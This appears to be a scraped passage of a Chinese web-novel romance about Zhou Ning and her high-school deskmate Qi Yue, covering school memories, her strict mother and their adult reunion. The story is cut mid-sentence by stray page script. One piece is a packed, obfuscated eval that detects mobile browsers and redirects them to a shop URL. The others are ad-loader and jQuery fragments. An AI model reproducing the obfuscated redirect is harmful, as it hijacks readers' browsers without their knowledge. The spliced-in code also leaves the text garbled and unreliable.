所以事后祁越似乎也知道这场闷气生得师出无名,主动低头求和,“你就打算这么冷着,一天都不说话?” “没,我正打算没话找话来着。”周柠说。 “现在找到话了吗?” “找到了,正在说。” 祁越:“……噗。” 很难得的一个笑。 能笑说明还能挽救,还没把人彻底得罪。 周柠十分坚强地维持着表面淡定,递过去一罐原味旺仔牛奶,“给。” 祁越皱眉,“这次又是你哪个关系一般的朋友想认哥哥?” 周柠看着他,神色认真,“不,是我想跟你道歉。” 祁越愣住,有些不知所措,“其实我没……” 但少年的狐狸终究也是狐狸,比起乌龟少女的迟钝与真诚,狐狸一肚子坏水。 所以祁越立马换上一副狡猾的笑容,话锋一转,“行,这次原谅你,下不为例。” 那罐旺仔牛奶被他摆在课桌最显眼的位置,下课后狐朋狗友凑上前开他玩笑,“大老爷们怎么还没断奶啊,还是旺仔甜牛奶。” 他却很得意地说:“我知道,你们缺爱,你们嫉妒。都走开别挡光,没有同桌投喂的人不配跟我说话。” 后来喝完的牛奶罐甚至没丢,祁越居然洗干净后拆掉顶端用来当笔筒。如此勤俭持家,跟他浑身散发出的少爷气息十分割裂。 以至于周柠每次跟那双圆溜溜的旺仔眼睛对视时,都会不由自主地想起自己因为帮喜欢祁越的女生送了东西而想尽办法道歉的尴尬事迹。 她曾委婉地表示送他一个新笔筒。 祁越却坚持不换,还欠嗖嗖地说:“这是我收到的道歉礼物,意义非凡,不能轻易换。” 靠!大无语!小气鬼真记仇! 他终究还是没打算放过我TvT 后来很多人找周柠帮忙给祁越送零食送信,她都跟见了鬼似的避之不及,每一个都严词拒绝。 至于那个旺仔牛奶罐笔筒,大概是用了接下来整学期吧。 23. chapter(23) 时间会书写记忆装进信封,一年时光写一封,然后一年一年,一封封盖住。 当抽出多年前压在底层的信件时,被光阴塑造起来的坚固信件大楼,便会轰然坍塌。周柠被压在忽喜忽忧的回忆里,一时有些茫然无措。 秋分过后,接连几场大雨,温度像坐滑滑梯似的骤降。 周日下午返校的时候发现学校后门奶茶店卖的大杯蓝莓酸奶冰沙买一送一,她心一动,想着天气也没太冷,又没来例假,所以立刻激情下单,一人喝俩。结果因为喝前没计算经期,第二天就糟了报应。 周柠脸色惨白地趴在课桌上悔不当初。 在达成上学期三个月内碎六个玻璃杯的辉煌战绩后,水杯就换成了不锈钢保温杯,没办法接热水捂肚子,一整个上午她都跟朵蔫了吧唧的花似的,一碰就碎。 作为朝夕相处的同桌,祁越不可能发现不出异样,见她连上课都兴致恹恹,遂写小纸条问: 【你怎么了?】 周柠不太想说话,更没力气写一大堆字解释,所以言简意赅落笔: 【痛经】 青春期的少男少女对异性总是有诸多遐想。接过纸条,看清上面有气无力写下的两个字后,祁越顿时脸上一热,连手里捏着的那张纸都感觉在发烫。 这个回复让他不知道该怎么接话。 多喝热水?说了等于白说。 侧目望去,少女唇色发白,额头在冒冷汗,因强忍着疼痛而微微蹙眉。抬头看黑板时却盯着很认真,似乎对传小纸条再无兴致。 两人的座位在后排,即使有小动作也不容易被发现。祁越不再说话,单手将小纸条揉成团丢进桌肚,然后取出手机悄悄搜索【痛经该如何缓解】。 虽然表现出十分认真听讲的模样,但实际上,周柠的思绪已经飘到八千里外。 她当然能察觉到祁越的目光。 等小纸条被写完推到祁越手里时,周柠才后知后觉的反应过来,这学期换同桌了,不再是李依依,所以,有些话不能直接说。更何况她彼时跟男同桌祁越还没有熟到无话不说的地步。 周柠:“……” 好尴尬好想死,一定是痛昏了头。 只能装作无事发生,冷淡地抬头看化学老师配平方程式。 幸好祁越没再递纸条过来,暂时松口气,但下课后,祁越往她桌上放了个装满热水的玻璃杯。 “借给你用,别打碎了。”祁越说。 周柠愣了愣,想起上学期玻璃杯连连碎的事情,惊讶祁越居然知道。 不是说好人生没那么多观众吗?为什么连个普通同学都能对她的糗事记得这么清楚啊! 她现在真的很需要一个能装热水取暖的瓶子,李依依平常只买饮料喝,正愁找不到合适的人借。 所以面对新同桌的好意,她没拒绝。 “谢谢。” 觉得只说了“谢谢”不太有诚意,于是周柠又十分诚恳地补充道:“你放心,我命碎了它都不会碎。” 祁越笑起来,吊儿郎当地说:“逗你玩的,碎了也没关系。” 少年笑起来很好看,青春是什么模样,他就是什么模样。但周柠很疑惑,她刚才说的话有什么好笑的?李依依也总是跟她说着说着话就开始爆笑如雷,然后说她总是一本正经地讲冷笑话。 祁越转转眼珠,补充道:“陪我出去玩就行。” 周柠不解,“为什么不要我赔钱?” 祁越:“不为什么。” 周柠认真斟酌半分钟,“还是赔钱吧,我的时间很紧,实在分不出来给你。” ——她绝对不会说自己是懒得出门,比起去游乐园玩一天,她更喜欢窝在家里看一整天书。 “嚯,”祁越气笑了,“分不出来时间的只有我?薛定谔的大忙人。” 周柠连忙解释,“不是单纯针对你,是所有人。” “哦,原来是针对所有人,纯恨战士。” “……”弱弱举双手投降,“你赢了。” 午休过后,周柠感觉好多了,虽然还是痛,但还不至于无法忍受。 整个午休时间,祁越都不在。 周柠对同桌的行踪并不感兴趣,所以祁越回来时也没问。 倒是祁越没忍住,“你就不好奇我刚才去哪儿了吗?” 周柠放下笔,“你去哪儿了?” “喏,”祁越递给她一个塑料袋。 打开一看,里面竟然装着布洛芬,暖宝宝,以及红枣桂圆红糖姜茶。 周柠抬头,就差把“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644769|138691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊讶”两个字写在脸上。 “网上是这么说的,我不知道管不管用。”祁越说。 周柠抿了抿唇,难以置信地问:“你……不会是……专门……出去买的吧?” 祁越挑眉,“想得美,请假出校是有其他事,路过药店顺便买的。” 他很刻意地挤眼笑了笑,“目的是为了感化纯恨战士,以后你针对全世界,就不针对我了。” 周柠:“……” 内心挣扎,周柠最终还是没抵住好奇心,凑过去问:“那你是出去做什么?” 祁越轻咳两声,“周同学,这是我的隐私,你连细节都要打探,是不是太关心我了?” “……不好意思,冒犯了。”周柠不再追问,“谢谢你帮我带的药。” 她吃下一颗布洛芬,静静等待药效起作用。 周柠:“对了,这里一共多少钱?” 祁越:“……?” 周柠:“我给你钱。” 祁越:“为什么要给我钱?” 不等周柠回答,祁越便一副看穿她的样子,“哦,你不想欠别人的是吧?” 无法否认,周柠点点头。 她很讨厌去麻烦别人,虽然能帮的忙她都会尽量去帮——她不擅长拒绝,但别人也最好不要来麻烦她。反反复复的社交,会让她觉得累。 祁越取出一摞书,“给钱多俗,你字好看,帮我写名字,礼尚往来。” 于是一整个课间,周柠都在一笔一划地帮祁越把他的所有书都写上名字。 祁越、祁越、祁越……她已经不记得自己究竟写了多少个祁越,以至于后来写“解”的时候,错写成“祁”。 祁越坐在旁边看她写,时不时手痒地翻看她堆在桌上的书。 “你的物理笔记本没写名字,”祁越说,“我顺手帮你写上。” 于是物理笔记本空出来的第一页多出两个飘逸遒劲的字——周柠。 她的字娟秀小巧,祁越笔下的字体足足比她的大一号,两人的写字风格截然不同。这样交换写名字,就像是交换了某种契约。 周柠看着纸上的字迹,莫名觉得,有些高兴。 她很喜欢祁越的字,姓名用祁越的手法书写后,娴静的文字也变得有侠气了。 24. chapter(24) 一整晚都在反复梦见过去的事,周柠第二天醒得很早,甚至连定的闹钟都还没响。 她收拾得很快,没跟祁越打照面便灰溜溜地上班去了。 因为十点才上班,不想太早到公司,她决定坐在早餐店慢悠悠地吃一小时豆浆油条,外加两只灌汤包再走。 睡得晚,起得早,不可能不困,嚼着油条都要睡过去了,待会儿应该再去买杯咖啡。 为什么要这样子逃避?明明知道损人不利己,却控制不住自己。 周柠忽然觉得自己像个神经病。 祁越现在在干什么?应该发现她已经先溜了吧。 去公司会碰到祁越吗?虽然她从来没在公司看到过大老板,但不排除这次祁越因为她故意躲着他而故意闪现的可能。 如果真的,很不幸地正面撞上,是该装不认识……还是装不认识?万一他不配合呢? 不要啊,她只想安安静静地坐在工位上跑模型。 要不然再跟组长请一天假? 周柠在手机上划来划去开始内耗。 这时,微信突然弹出一条消息。 “祁越”拍了拍我的棺材板说挤一挤。 紧接着是一条语音。 “请假会批准,去上班也不用提心吊胆,我不会在公司跟你玩狼人杀。” 完美预判。 周柠不禁疑惑,祁越是会读心术吗? 一条听完,对面又传来一段。 “周柠,你可以慢慢想,我这人最不缺的就是对你的耐心。不用怕我半路出走,老巢都被你霸占着,我还能跑去哪儿?但如果是你想玩忽职守,放弃捉拿送上门的逃犯的话,我就……” 语气有些痞,光听声音都能想象出那副狐狸似的调笑表情,特别是说到威胁的关键地方时还刻意卖关子,像在策划一件会违反社会|主义核心价值观的大事。 放任暗恋潜逃犯不管会怎么样?难道还能把她关起来,挥小皮鞭逼她就范? 周柠捧着手机,目不转睛地盯着屏幕看,等待对面的下一条消息。 然而三分钟过后,对面毫无动静。 她抓心挠肝地想知道,终于忍不住打字问:【你就怎么?】 祁越秒回一条语音,“这是悄悄话,要在耳边说。你想什么时候听?” 早餐店嘈杂,但耳机内传来的声音却清晰可闻。上扬的语调像是有把小钩子,把她的嘴角钩了起来。 周柠脸上一热,连忙摘下耳机。 她又重新感受到那种眩晕的感觉了,心脏凝滞,然后慢慢上头。 【下班后吧。】她回复,紧接着配上一个对手指的委屈表情。 -- 周柠原本觉得像她这种情感寡淡的人,就是一辈子独居的超绝先天孤寡圣体。 但现在,她有些动摇。 性格有先天遗传也有后天影响因素,她不知道自己天生是什么性格,但能推断出,情感寡淡,八成是小时候培养出来的毛病。 童年时期,父母忙工作,所以在十二岁前,周柠都跟外婆生活在C市下面的小镇。 也算得上是留守儿童。 很小很小的时候,周柠问外婆,“妈妈呢?” 外婆回答:“妈妈在外面赚钱。” 她“哦”了声,没再问。无论问多少遍,都会得到同一个答案。她那时候年纪小到甚至不理解“zhuan钱”是什么意思。 梦里对“zhuan钱”的定义为,爸爸妈妈一直转圈圈,然后钱就掉下来了。 两三岁的记忆还太模糊,直到四五岁才逐渐清晰。 那时她总盼望着妈妈能回来,但当妈妈当真回来看她的时候,她忽然发现,自己其实有些怕妈妈。 因为,陌生,好陌生。 她以为自己会像动画片里的小孩一样跟扑进妈妈的怀里撒娇,但其实,她做不到,她甚至做不到去拥抱眼前那个年轻的女人,只能低着头,浑身僵硬地站在原地,任由年轻女人捧着她稚嫩的脸颊亲吻。 ——其实她有些抗拒亲脸,但躲不掉。觉得难为情,不适应,尴尬,或者别的,无法用言语表达的原因。 然后年轻女人离开去找外婆和舅妈了,她被留在原地。她觉得自己或许应该在年轻女人面前表现得乖一点,于是把手里的小熊软糖递给一旁吃完糖还在流口水的表弟。 “给你,我不吃了。” “你不吃啦!”表弟两只眼睛都在发光。 “嗯,不吃了。” 然后呢?她不知道该做什么了。 虽然内心有波涛汹涌的浪潮,但是她找不到口子,所以发泄不出来。 至于爸爸,从来只闻其名,不见其人。还是十二岁被妈妈接到C市读初中的时候,跟爸爸见的面才变多起来。 不过见面也不常说话。 父位在童年的缺席导致她根本没办法跟异性正常相处,稍微走近一点就觉得尴尬,也不知道该怎么交流——当然,也有她觉得大多数男生都是傻叉的原因。他们总是莫名其妙地……亢奋。 这种异性''交流障碍的病症直到高二才稍微改善。再长大些,她学会了戴面具,工作学习,生活交流,方方面面都像个正常人了。 很多年以后,大家在年夜饭饭桌上回忆往昔,周柠才知道自己四五岁的时候爸妈刚开始创业亏了很多钱,两人在闹离婚。但最后还是没能离掉,生意转亏为盈,关系才渐渐缓和。 她当时听到爸妈闹过离婚的事没什么感觉,只是知道了而已,然后在心里说,还是默不作声埋头吃饭吧,多好吃的糖醋排骨。 人生的第一次转折发生在十二岁,小升初。 周柠原本以为自己会一直在小镇待到十八岁高考,但母亲邱晓慧女士觉得小镇的教育资源太差,省城读书会更好,依女儿的成绩,考C市的初中不难,再加上生意有起色后已经在C市安定买房,没有不去市里读书的道理。 于是周柠开始不停考试,最终考上C市主城区一所初中的重点班。 当然,父母依旧忙,所以她住校,一周回家一次。 去市里读书,挺好,但她已经熟悉小镇的生活了,这里有她为数不多的几个朋友。出去读书意味着可能会跟她们生疏。 后来,可能变成事实。曾经的好伙伴失去共同话题,渐行渐远,已经不联系了。 也许情感友谊就是如此呈现阶段性,父母不会陪伴你长大,也大概不会有人会陪伴你一生。善于胡思乱想的青少年时期,周柠开始思考各种哲理性问题,终于得出结论——不管怎样,最后反正都是一个人。 改变生活环境,是一项挑战。 班里的同学聚在一起聊天的时候说起自己的技能,芭蕾、拉丁、声乐、钢琴、小提琴、水彩、国画、书法…… 周柠沉默,因为她什么都不会,外婆带着没上过课外兴趣班。 就连一直引以为傲的成绩,在市里的尖子生班中,也变成了吊车尾的存在。 她忽然觉得自卑。这种强烈的环境变化,难免让人生出不安全感。 母亲邱晓慧女士着急了,大骂当时就不该放任她在镇上读书!一天到晚做完作业就只知道在家里看动画片!然后库库砸钱给她连报数门课外辅导班。 于是周柠在初一的年纪,便开始接受高三的强度。 “课很贵,一节课两小时就要四百块,爸爸妈妈赚钱很辛苦。你只能好好学,把成绩提上去,才不算浪费钱。要是补习班上来没用,那么多钱就都打水漂了。”这是邱晓慧的原话。 所以周柠诚惶诚恐,不得不把自己封闭起来,沉浸在无尽的题海里。高强度的训练加上专注力,她的成绩稳步提升,与同学间的差距也越来越小,最终稳定在年级前三。 但邱晓慧是个很强势的女人,对她的要求也比一般家长要高不少。 成绩难免有起伏,初三一次全市联考,她从上回考试的年级第一,掉到年级第九。 周五邱晓慧开车来接她回家时,脸色很难看。见她拖着行李箱来了也不说话,一把夺过塞进后备箱就直接上车,把她甩在路边。 周柠敏锐地察觉到低气压,上车后默不作声,一路揪着心,如履薄冰地观察着邱晓慧脸上的表情。 没有缓和,也没有特别要爆发的迹象,只是冷着,像是要跟她冷战。 进屋后,周柠终于没忍住,颤声喊道:“妈。” “别喊我,你自己好好反思。” 反思什么呢?从第一掉到第九她自己也难过,而且第一天考试她烧得很厉害,头晕得都要看不清字,咬牙硬撑过去才把题写完。已经尽力了。 “考试那天我在发烧。” “发烧了?!”邱晓慧声音提高八个度,脸上的每一个微表情仿佛都在说,你在装。 “别找借口,那你怎么没烧到现在?长大还学会撒谎了,真是越来越不听话!” 喉咙一哽,周柠低着头,不再说话。 邱晓慧女士持续爆发,“你到底知不知道现在初三上学期马上就要结束,过完年紧接着就是中考?首先,体育,你拿得到满分吗?八百米,跳远,这两个离满分都差很多,也就坐位体前屈稍微好点。体育拿不到满分其他方面就得补,你现在联考从第一掉到第九,你都补什么了啊?” 见周柠跟块木头似的左耳进右耳出,邱晓慧更生气,像是忽然想到什么,炸毛了似的质问:“成绩掉得这么厉害,你是不是早恋了?班里的谁?还是年级上的?” 怎么会想到这种地方?好荒谬。周柠猛然抬头,难以置信地望向她。 “早恋,柠柠吗?”这时坐在一旁打手机麻将的周父突然开口。 “我教育孩子你别搭腔。平常孩子什么事情都不管,家长会我开,放学我开车接,住宿我帮忙收拾行李,你管得了什么?这会儿赶来看戏了?” 邱晓慧看向周柠,“联考前你说要跟那谁,哦,李依依去看什么漫展,我同意了。哼,现在想想还真不该同意,居然让你考试前出去玩。除了她还有谁?是不是还有个男生你没跟我说?” “没有男生,只有李依依,只有我们两个。” 邱晓慧看着她那双发红的,快哭了的眼睛,还是不信。 “我要去家长群私聊问李依依妈妈。” “别问!”向来文静的周柠几乎快要尖叫,这会让她在朋友面前尽失尊严。 “问不得?反应这么大,是心虚吗?” “别问!!!”周柠真的开始尖叫。 邱晓慧皱紧眉头,打开手机。 尖叫,反抗,明晃晃的抵触,根本无济于事。周柠闭了闭眼,“随便你,神经病。” “周柠!”邱晓慧也气上头了,抄起沙发上的晾衣架指向她,“你再敢顶一句试试!从小到大没挨过一次打,今天要破例吗?” 周柠没再说话,转身走进自己房间摔门。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她想上锁,结果伸手一摸,空的。 门锁早就被拆了。 门外不知什么情况,不想让他们进来,只能背靠着门坐在地上,望着白花花的墙壁发呆。 也是因为这件事,后来祁越无数次请她出去玩,她全都拒绝。 坐累了,外面也没声音了。周柠起身躺到床上去,关灯准备睡觉。 然而房门再一次被不经允许地推开。 邱晓慧走进来,将一杯热牛奶放在书桌上。 “喝完牛奶再睡,助眠。”她的声音柔和许多。 “你不是没轻没重的人,这次妈妈相信你,所以没去问李依依的妈妈。但你也好好反省下自己,初三了,这么大个人,学习上的事自己掂量清楚。” “爸爸妈妈做的都是小生意,还没赚够能让你一辈子躺平,坐吃山空的钱,以后也托举不了你太多。所以,你的前程要靠自己挣。” 门关上了,事情也就算结束了,再因为这件事闹脾气,那就是你的不对了。 邱晓慧总嫌弃她太内向,不够落落大方,嘴也不甜,看到亲戚连人都不会喊,比不上那谁谁谁的女儿,以后出了社会这种性格肯定吃不开。 可是,妈妈,阴湿的土壤培养不出来开朗的花。 内敛只是她的性格底色,她自认为这没什么不好。 有时周柠逛商场的时候看到年轻夫妻牵着豆丁大的小孩一起选购玩具会觉得有些羡慕。 小孩叽里呱啦问爸爸妈妈问题,爸爸妈妈就交替着回答。对了,这种问答还是中英双语。 然后她尝试着将场景代入自己和父母,结果起一身鸡皮疙瘩。 嘶,还是算了,尬得脚趾挠地!尬得螺旋升天!尬得头皮发麻!这根本不适合她。 大学在S市,很远,跟C市几乎横跨半个中国。 但她一点都不想家,每次跟家里打视频电话都像例行公事。也没有半点水土不服,只觉得天地广阔,真他爹的自由。更何况,还有好吃的蟹黄生煎包。 所以周柠从大一暑假便开始进公司实习,一年也就寒假才回去一次。 乌龟虽然行动迟缓,但适应能力超绝。 也许是距离产生美,大学后跟父母的关系反而比初高中更亲近。 在大学生生活费普遍只有一千五的时候,爸妈一个月给她六千,过节有额外红包,还总问她钱够不够花。 当然够花,她甚至每月能存下三分之二。 她想留在S市,不合租的话,如果要选个地段环境都好点的房子,租金能贵得吓死人。所以,得从大一开始努力。 邱晓慧女士年纪上来后似乎也意识到自己独断专行的臭毛病,有次打视频电话的时候跟她说: “以前对你要求太严格了,是妈妈不对。现在大学你都自己安排吧,读不读研都看你以后对自己的规划,爸爸妈妈离得远也管不了什么,只能在背后支持你。” “S市很好,但C市也不差,以后发展也很好,而且年轻人多,你专业对口的那些岗位都有。妈妈还是希望你毕业后能回来。” 哎,肉麻兮兮的,真听不惯。 她不会回去,没得商量,就算麻辣兔头开口说话挽留都没用! 在外人面前,邱晓慧总夸赞说:“我女儿独立,懂事,听话。现在工作了想贴点钱让她在外面吃穿用度能好些,居然不要,打银行卡也给退回来。” “就是有些太独立了。”说到这里时,邱晓慧不禁有些落寞,语气也难免变得哀伤。 童年的创伤不是一场大雨,而是一生的潮湿。 她已经在这样的潮湿中长大成人,性格被塑造成如今的模样,敏感谨慎,自闭慢热,再难改变。 被阳光照耀时,第一反应竟然不是拥抱,而是回避。 除非阳光一直都在,从不远离,她才敢探出手指去感受温暖。 这次回C市原本只是想给自己放一年假,结果却让她彻底打消了再去S市的念头。 -- 下班后周柠先回了趟父母家,她要找出那本祁越帮她写了名字的物理笔记本。 结果书柜被翻了个底朝天,别说高中物理笔记本,就连高中课本都没半点踪影。 “妈,我高中那堆书呢?”她走出去问。 “早就卖废品了,卖一千多呢,再补四千,刚好给你买大学用的平板。” “可你卖之前没问我。” “你那时候都上大学了,高中的东西还要啊?不卖废品堆书房多难看。里面有什么重要的东西吗?” “有!” “那没办法了,卖之前不说,现在都过去六年多,才想起来里面有重要东西,来不及了。” 邱晓慧接着又很扎心地补充一句,“难道那时候我问你,你会选择不卖?那时候你根本没预料到自己六年后会这么狼狈地赶回来翻书柜吧?” 周柠中刀,哑口无言。 那时候,她还迟钝地没发现很多事情。 邱晓慧女士的那句“来不及了”一直在她脑海里盘旋。 真的会来不及吗? 喉舌发干,周柠发现自己在耳鸣。 刚才忙着找笔记本一直没看手机,刚打开一看,微信里赫然躺着一条来自祁越的未读消息。 【不回来听悄悄话吗?】 她没再犹豫,直接拨通电话,不等对面开口,抢先道: “祁越,我想见你。” 25. chapter(25) 告白是小孩子做的。 成年人请直接用勾引。 勾引的第一步,抛弃人性。 基本上来说是三种套路。 变成猫,变成老虎,变成被雨淋湿的狗狗。 ——坂元裕二《四重奏》 -- 晚霞悄然落幕,城市车水马龙。 祁越站在路灯下,影子被橘黄的光线拉得很长。周围明明有很多行人,可他高高瘦瘦地站在那里等人,却显得有些孤单。 晚风呼啦啦地吹,被深秋染黄的银杏叶子从他的头顶扫过,然后滚落,铺出一地金黄。 许是听到背后脚踩落叶的声音越来越近,他敏锐回头,正好跟周柠对视。 呀,被发现了。 周柠有些尴尬地停下来,她原本打算从身后偷袭,吓祁越一大跳。 祁越穿着纯白厚卫衣,显嫩,仿佛跟七八年前少年的身影开始无限重合。 “少年”依旧站在原地,没有朝她走过来,只是看着她,用一双漆黑的眼睛,直勾勾地看着她。看了一会儿后,不解地歪了歪头,好像在撒娇似的责怪她,你怎么还不过来? 周柠忍不住吞唾沫。 记得同事小胡在她这个“没见过大老板庐山真面目的公司新人”面前对祁越的介绍为——“Boss是个高冷严肃的大帅哥,气场两米八!” 如果小胡今天在现场,肯定会被颠覆认知,下回再跟公司新人介绍老板的时候,绝对说不出高冷严肃这四个字。 他现在真的好像一只被雨淋湿的狗狗,有点可怜,还有点可爱。 ——觉得一个人很可爱你就完蛋了! 眉心一跳,有个声音在周柠心里疯狂呐喊。 她心里再清楚不过,祁越怎么会是被雨淋湿的狗狗呢?分明是只狡猾的,擅长伪装的狐狸。 他在勾引她。 等她真的走过去,就会看到肉食动物露出獠牙。 哎,谁让她吃这套勾引呢? 受不了了。 周柠一鼓作气,快步走过去,牵住他的手。 他的手心很热,而她被秋风吹了一路,手已经变得冰凉。 祁越却忽然像个被欺负了的黄花大闺女,将交缠在一起的两只手当做证据,举起来凑到周柠面前欠嗖嗖地质问:“干什么?我可是良家男,碰了我,你要负全责。” 周柠脸发烫,不好意思地小声说,“牵下手。” “所以,你默认我们的关系可以牵手了么?” 周柠没正面承认,只说,“一个小测验,试试我有没有去接受心动的勇气。” 闻言,祁越扬眉,“重来,把手张开。” 于是周柠朝上摊开手,下一秒,祁越的手便覆上来,十指紧扣。 “这样能更快得出测验结果。”祁越笑道,“走吧,散散步。” 手心以最大面积相贴,流经十根手指的血管隔着薄薄的皮肤相交,脉搏紧贴着跳动。扑通扑通。 周柠只觉得自己心跳得好快,不知道是紧张多一点,还是爱情的悸动多一点。 大学毕业前夕,其他三位室友对于她当真整整四年没谈过一次恋爱这件事深感震惊。 “原来美女也会孤寡,我释然了。”大一光速恋爱分手然后连续单身三年的室友A说。 “反正我觉得大学就算谈坨屎也得尝尝咸淡,冲着校园恋爱的名头就得谈,这就是单纯体验,有机会不体验多可惜。我才不要以后因为缺少体验而后悔。”恋爱经历丰富的室友B说。 室友A和室友C表示认同。 周柠弱弱开口:“单身四年也是种体验呀,体验不分好坏吧?只看自己能不能接受,喜不喜欢。” 室友B:“你这是诡辩!” 室友A:“请不要为自己挽尊。” 好吧,周柠选择闭嘴。 正在和男友闹分手的室友C接着感叹:“男的花期短,很多来没来得及出校园就凋零了,以后遇到的大多都是发福油腻男,而且远没有校园里的感情那么纯粹。在学校里可以单纯地爱来爱去,但只要临近毕业,要考虑的事情就变多了。” 室友A和室友B表示强烈赞同。 周柠点点头,表示自己已经接收到新知识。 ——校园恋爱是象牙塔里的恋爱。出社会后会越来越难谈到喜欢的人,丛林法则下,饮食男女拥有更多顾虑。和人交心变得越来越困难,再也不会有纯粹的感情,而是利益互换。 不管是互联网还是周围同学,似乎都在告诉她这个道理。或许几年后,她也会对此有深刻的体会。 但对于二十多年一直没谈过恋爱这件事,周柠并不遗憾。 正如她之前所说,大学单身四年也是一种体验,体验不分好坏,只看自己能不能接受,喜不喜欢。 进实验室,组队竞赛,实习,在从小被邱晓慧女士教育出来的优绩主义鞭策下,周柠一刻也不敢停。害怕掉队,害怕被抛下,但凡绩点稍有下降,就焦虑得睡不着觉。 竞赛得奖并不能令她开心,正如邱晓慧女士所言,拿第一是应该的,普遍的,正常的,而不是因为太稀有而值得被庆祝的。 直到她在大厂卷生卷死两年最终因为公司取消业务线而被优化时,优绩主义的病症才开始好转。 所以大学生活在过得极其充实的同时,身心俱疲。 ——究竟怎样才算成功?至少这条道路不应该那么单一,不应该让她觉得不快乐。她的动力,不应该永远都被恐惧驱使。 这些年的体验谈不上喜欢,只能说接受。从初中开始就是这样的体验,她习惯且接受。 周柠从来没想过自己会谈恋爱。想象不出来自己谈恋爱是什么样子,也不期盼。 她觉得自己因为优绩主义而变得内向敏感,社交能力欠缺,情感表达障碍,所以很难去爱上什么人。 虽然做一只乌龟没什么不好,这只是她的生存方式,但残酷的事实证明,很少有人会去喜欢一只内向的乌龟。 即使有人可能会被她的外貌吸引,但长时间接触后八成会被劝退。 因为大多数人都会觉得她寡淡无味,没有情趣,不能带来激情。 小时候比同龄人成熟,该当海绵宝宝的年纪却成了章鱼哥,跟喜欢蹦蹦跳跳的小孩子玩不到一块儿去。结果长大后心智却停留在青少年时期,出入职场显得格外幼稚,只能硬撑着去伪装一个合格的“大人”。 她认同“出社会后越来越难谈恋爱”这件事,所以认定自己会一直单身下去。 可上天似乎总不按照常理出牌。 居然真的遇到爱情了,更准确一点,是发现了被深埋多年的爱情。 入室抢劫般扑进她怀里,像颗流星似的砸在她头上。无处可逃。 工作后就遇不到纯爱,周柠认为这句话说得太绝对。 至少他们现在这样十指相扣在铺满银杏叶的路边散步,实在不能称作“饮食男女”。 深秋温度骤降,晚风凉飕飕地拂面而来,灌进脖子。周柠忍不住往祁越身边靠。 察觉到她的小动作,祁越唇角微微上扬,并问出了一直想问的问题。 “你以前也这样测验过别人吗?” 周柠偏头:“嗯?” “具体时间,大一刚开学第二个月月初,十月四号,下午六点。” 周柠“啊”了声,“那个时候……” “那个时候我在离你不到十米远的地方。”祁越说,“但藏得太好了,没让你发现。” 周柠抿了抿唇,她甚至不记得确切的日期,只记得大一刚入学那会儿,有这么件事。 舌头打结,她慢吞吞地开口:“那个时候,你,不是应该,在英国吗?” 十指相扣的手握得更紧。 祁越:“你的账号突然注销了,没留下任何痕迹,也没发消息说要换号。没办法联系,我很着急,也很没理智,所以来不及思考就直接来你学校找人。也是碰巧,下飞机赶来还没开始找,居然就刚好看到你和一个男生手牵着手在操场上散步,那是刚吃完晚饭的情侣通常会做的事。下午六点,刚刚好的时间。” 周柠连忙解释,“是那个男生提议用牵手的方式看我对他有没有感觉。因为账号失窃的事情,他被骗了最多的钱。毕竟骗他的是我的账号,我认为我也有责任,所以没好意思拒绝。但这个测验方式很有效,身体比我的心更诚实,不喜欢的人,哪怕碰一下手都想躲开,答应他牵手测验,是我做过最后悔的事。” “你误会了很多年对么?”周柠小声问。 “已经过去了,不影响现在。而且我还确定了一件很重要的事,你的身体确实更诚实,至少我这样握你的手,你不会想躲开,更没有后悔。” 周柠不否认,因为被拆穿了,不好意思地踢着路边落叶。 嘴里虽然说着已经过去了,但祁越内心并没有表现出来的那么云淡风轻。 至少当年在风尘仆仆赶回国看到周柠跟一个男生手牵着手在操场散步的时候,那一刻真切地感受到心痛。 他没想到自己竟然会有这么强烈的生理反应,肠胃翻涌,胸闷,呼吸不畅。 原来文字描述的揪心,就是这种感觉。很难受,很难受。 在那一瞬间,他很想像一个幼稚冲动的小男生那样冲上去质问。 你跟这个男的是什么关系? 为什么注销账号不提前跟我说? 可是,他该以什么样的身份,又有什么资格去质问呢? 你只是一个跟她熟悉过一段时间,又很快疏离的高中同学。没有任何资格去插手她的生活和选择,更没有资格因为她谈恋爱而吃醋。 全世界都知道祁越喜欢周柠,只有周柠自己不知道。 或许……她知道呢?只是装作不知道,为了顾忌同桌的脸面,不想把话说得太明白。能不提前告知就把账户注销让你找不到,说明在她心里你的份量根本不重。 虽然她大部分时间都很迷糊,但坐在火堆旁,怎么会感觉不到炙热?就连旁观的人都发现了,她却浑然不知。 周柠到底知不知道?两种想法在祁越心里打架。 几乎从来不内耗,执行力max,敢想敢干的人,却在感情的事上变成胆小鬼。之前一直没找到合适的契机告诉周柠“我喜欢你”,结果机会越拖越渺茫。 现在的局面,总不能冲到她面前告白,逼她在他和那个男生之间选一个。这很蠢,会吓到她,会被她当成神经病。以后连老同学都没得做。 所以,祁越只能远远地看着他们牵着手,走过橡胶跑道,一起躲过从中央草地飞来的足球。有惊无险,短暂地分开后,男生又过去牵周柠的手。周柠没拒绝,乖乖地让他牵着。 她眼光真不怎么样。祁越完全控制不住内心阴暗面,以严苛到极致的目光审视着 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 夺妻犯。如果眼神能杀人,该男生已经死过上万次了。 然而男生似乎沉浸在粉红泡泡里,对外界的阵阵杀意毫无察觉。他叽里呱啦喋喋不休,周柠安静地听着,时不时微笑。两人走过一圈,还要接着再走一圈,似乎有说不完的话,活脱脱热恋小情侣。 除了祝福,躲在光背后的暗恋者没有资格做任何事。 两座城市几乎隔着整块亚欧大陆,还有整整七小时时差,所有证据都在指向一个残酷的真相——你们已经不在一条生活轨迹上了,真的没必要再执着,更何况这只是你的一厢情愿。人不能太自私。 